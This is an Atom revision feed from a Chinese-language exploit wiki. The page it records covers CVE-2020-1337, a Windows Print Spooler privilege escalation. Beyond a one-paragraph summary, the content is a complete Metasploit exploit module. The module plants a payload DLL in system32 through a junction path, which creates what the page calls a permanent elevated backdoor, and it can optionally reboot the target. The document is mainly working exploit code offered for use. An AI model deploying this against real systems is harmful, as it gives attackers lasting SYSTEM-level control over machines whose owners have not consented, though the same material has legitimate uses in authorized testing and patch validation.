<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-1337 Microsoft Spooler 本地權限提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T16:04:41Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=3769&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==INFO== This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to rem...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-1337_Microsoft_Spooler_%E6%9C%AC%E5%9C%B0%E6%AC%8A%E9%99%90%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=3769&amp;oldid=prev"/>
		<updated>2021-05-31T04:07:26Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==INFO== This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to rem...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==INFO==&lt;br /&gt;
This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor.&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
##&lt;br /&gt;
# This module requires Metasploit: https://metasploit.com/download&lt;br /&gt;
# Current source: https://github.com/rapid7/metasploit-framework&lt;br /&gt;
##&lt;br /&gt;
&lt;br /&gt;
require 'msf/core/post/windows/powershell'&lt;br /&gt;
&lt;br /&gt;
class MetasploitModule &amp;lt; Msf::Exploit::Local&lt;br /&gt;
  Rank = ExcellentRanking&lt;br /&gt;
&lt;br /&gt;
  include Msf::Post::Common&lt;br /&gt;
  include Msf::Post::File&lt;br /&gt;
  include Msf::Post::Windows::Priv&lt;br /&gt;
  include Msf::Exploit::EXE&lt;br /&gt;
  include Msf::Post::Windows::Powershell&lt;br /&gt;
&lt;br /&gt;
  prepend Msf::Exploit::Remote::AutoCheck&lt;br /&gt;
&lt;br /&gt;
  def initialize(info = {})&lt;br /&gt;
    super(&lt;br /&gt;
      update_info(&lt;br /&gt;
        info,&lt;br /&gt;
        'Name' =&amp;gt; 'Microsoft Spooler Local Privilege Elevation Vulnerability',&lt;br /&gt;
        'Description' =&amp;gt; %q{&lt;br /&gt;
          This exploit leverages a file write vulnerability in the print spooler service&lt;br /&gt;
          which will restart if stopped.  Because the service cannot be stopped long&lt;br /&gt;
          enough to remove the dll, there is no way to remove the dll once&lt;br /&gt;
          it is loaded by the service.  Essentially, on default settings, this module&lt;br /&gt;
          adds a permanent elevated backdoor.&lt;br /&gt;
        },&lt;br /&gt;
        'License' =&amp;gt; MSF_LICENSE,&lt;br /&gt;
        'Author' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            'Peleg Hadar', # Original discovery&lt;br /&gt;
            'Tomer Bar', # Original discovery&lt;br /&gt;
            '404death', # PoC&lt;br /&gt;
            'sailay1996', # PoC&lt;br /&gt;
            'bwatters-r7' # msf module&lt;br /&gt;
          ],&lt;br /&gt;
        'Platform' =&amp;gt; ['win'],&lt;br /&gt;
        'SessionTypes' =&amp;gt; ['meterpreter'],&lt;br /&gt;
        'Targets' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            [ 'Automatic', { 'Arch' =&amp;gt; [ ARCH_X86, ARCH_X64 ] } ]&lt;br /&gt;
          ],&lt;br /&gt;
        'DefaultTarget' =&amp;gt; 0,&lt;br /&gt;
        'DisclosureDate' =&amp;gt; '2019-11-04',&lt;br /&gt;
        'References' =&amp;gt;&lt;br /&gt;
          [&lt;br /&gt;
            ['CVE', '2020-1337'],&lt;br /&gt;
            ['URL', 'https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1337'],&lt;br /&gt;
            ['URL', 'https://github.com/sailay1996/cve-2020-1337-poc'],&lt;br /&gt;
            ['URL', 'https://voidsec.com/cve-2020-1337-printdemon-is-dead-long-live-printdemon/']&lt;br /&gt;
          ],&lt;br /&gt;
        'DefaultOptions' =&amp;gt;&lt;br /&gt;
          {&lt;br /&gt;
            'DisablePayloadHandler' =&amp;gt; true&lt;br /&gt;
          },&lt;br /&gt;
        'SideEffects' =&amp;gt; [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]&lt;br /&gt;
      )&lt;br /&gt;
    )&lt;br /&gt;
&lt;br /&gt;
    register_options([&lt;br /&gt;
      OptString.new('JUNCTION_PATH',&lt;br /&gt;
                    [false, 'Path to use as junction (%TEMP%/%RAND% by default).', nil]),&lt;br /&gt;
      OptString.new('DESTINATION_PATH',&lt;br /&gt;
                    [false, 'Location of file to overwrite (%WINDIR%\system32\ by default).', nil]),&lt;br /&gt;
      OptString.new('DESTINATION_FILE',&lt;br /&gt;
                    [false, 'Filename to overwrite (ualapi.dll by default).', nil]),&lt;br /&gt;
      OptString.new('PRINTER_NAME',&lt;br /&gt;
                    [true, 'Printer Name to use (%RAND% by default).', Rex::Text.rand_text_alpha(5..9).to_s]),&lt;br /&gt;
      OptBool.new('RESTART_TARGET',&lt;br /&gt;
                  [false, 'Restart the target after exploit (you will lose your session until a second reboot).', false])&lt;br /&gt;
    ])&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, b64_payload)&lt;br /&gt;
    # Read in Generic Script&lt;br /&gt;
    script = exploit_data('CVE-2020-1337', 'cve-2020-1337.ps1')&lt;br /&gt;
    fail_with(Failure::BadConfig, 'No exploit script found') if script.nil?&lt;br /&gt;
&lt;br /&gt;
    # Replace Values in Generic Script&lt;br /&gt;
    vprint_status('Replacing variables')&lt;br /&gt;
    junction_filepath = &amp;quot;#{junction_path}\\#{destination_file}&amp;quot;&lt;br /&gt;
    # The random string appears to be required when using the psh_exec&lt;br /&gt;
    # It may be due to the way we break apart the script?&lt;br /&gt;
    # I would not be upset to find the root cause and fix it.&lt;br /&gt;
    script.gsub!('JUNCTION_FILEPATH', junction_filepath)&lt;br /&gt;
    script.gsub!('PRINTER_NAME', printer_name)&lt;br /&gt;
    script.gsub!('JUNCTION_PATH', junction_path)&lt;br /&gt;
    script.gsub!('DESTINATION_PATH', destination_path)&lt;br /&gt;
    script.gsub!('B64_PAYLOAD_DLL', b64_payload)&lt;br /&gt;
&lt;br /&gt;
    # Run Exploit Script&lt;br /&gt;
    print_status(&amp;quot;Running Exploit on #{sysinfo['Computer']}&amp;quot;)&lt;br /&gt;
    begin&lt;br /&gt;
      #client.powershell.execute_string(code: script)&lt;br /&gt;
      session.powershell.execute_string({code: script})&lt;br /&gt;
    rescue Rex::TimeoutError =&amp;gt; e&lt;br /&gt;
      elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)&lt;br /&gt;
      print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def exploit&lt;br /&gt;
    if datastore['DESTINATION_PATH'].nil? || datastore['DESTINATION_PATH'].empty?&lt;br /&gt;
      win_dir = session.sys.config.getenv('windir')&lt;br /&gt;
      destination_path = &amp;quot;#{win_dir}\\system32&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      destination_path = datastore['DESTINATION_PATH']&lt;br /&gt;
    end&lt;br /&gt;
    if datastore['DESTINATION_FILE'].nil? || datastore['DESTINATION_FILE'].empty?&lt;br /&gt;
      destination_file = 'ualapi.dll'&lt;br /&gt;
    else&lt;br /&gt;
      destination_file = datastore['DESTINATION_FILE']&lt;br /&gt;
    end&lt;br /&gt;
    if datastore['JUNCTION_PATH'].nil? || datastore['JUNCTION_PATH'].empty?&lt;br /&gt;
      junction_path = &amp;quot;#{session.sys.config.getenv('TEMP')}\\#{Rex::Text.rand_text_alpha(6..15)}&amp;quot;&lt;br /&gt;
    else&lt;br /&gt;
      junction_path = datastore['JUNCTION_PATH']&lt;br /&gt;
    end&lt;br /&gt;
    client.core.use(&amp;quot;powershell&amp;quot;) if not client.ext.aliases.include?(&amp;quot;powershell&amp;quot;)&lt;br /&gt;
    printer_name = datastore['PRINTER_NAME']&lt;br /&gt;
    payload_dll = generate_payload_dll&lt;br /&gt;
&lt;br /&gt;
    # Check target&lt;br /&gt;
    vprint_status('Checking Target')&lt;br /&gt;
    validate_active_host&lt;br /&gt;
    validate_payload&lt;br /&gt;
&lt;br /&gt;
    # Run the exploit&lt;br /&gt;
    output = cve_2020_1337_privileged_filecopy(destination_file, destination_path, junction_path, printer_name, Rex::Text.encode_base64(payload_dll))&lt;br /&gt;
    sleep(3) # make sure exploit is finished&lt;br /&gt;
&lt;br /&gt;
    # Reboot, if desired&lt;br /&gt;
    if datastore['RESTART_TARGET']&lt;br /&gt;
      sleep(10)&lt;br /&gt;
      vprint_status(&amp;quot;Rebooting #{sysinfo['Computer']}&amp;quot;)&lt;br /&gt;
      begin&lt;br /&gt;
        session.sys.power.reboot&lt;br /&gt;
      rescue Rex::TimeoutError =&amp;gt; e&lt;br /&gt;
        elog('Caught timeout.  Exploit may be taking longer or it may have failed.', error: e)&lt;br /&gt;
        print_error('Caught timeout.  Exploit may be taking longer or it may have failed.')&lt;br /&gt;
      end&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def validate_active_host&lt;br /&gt;
    begin&lt;br /&gt;
      print_status(&amp;quot;Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}&amp;quot;)&lt;br /&gt;
    rescue Rex::Post::Meterpreter::RequestError =&amp;gt; e&lt;br /&gt;
      elog('Could not connect to session', error: e)&lt;br /&gt;
      raise Msf::Exploit::Failed, 'Could not connect to session'&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def validate_payload&lt;br /&gt;
    vprint_status(&amp;quot;Target Arch = #{sysinfo['Architecture']}&amp;quot;)&lt;br /&gt;
    vprint_status(&amp;quot;Payload Arch = #{payload.arch.first}&amp;quot;)&lt;br /&gt;
    unless payload.arch.first == sysinfo['Architecture']&lt;br /&gt;
      fail_with(Failure::BadConfig, 'Payload arch must match target arch')&lt;br /&gt;
    end&lt;br /&gt;
  end&lt;br /&gt;
&lt;br /&gt;
  def check&lt;br /&gt;
    sysinfo_value = sysinfo['OS']&lt;br /&gt;
    build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i&lt;br /&gt;
    vprint_status(&amp;quot;Build Number = #{build_num}&amp;quot;)&lt;br /&gt;
    return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ &amp;amp;&amp;amp; build_num &amp;lt;= 18363&lt;br /&gt;
    return Exploit::CheckCode::Safe&lt;br /&gt;
  end&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>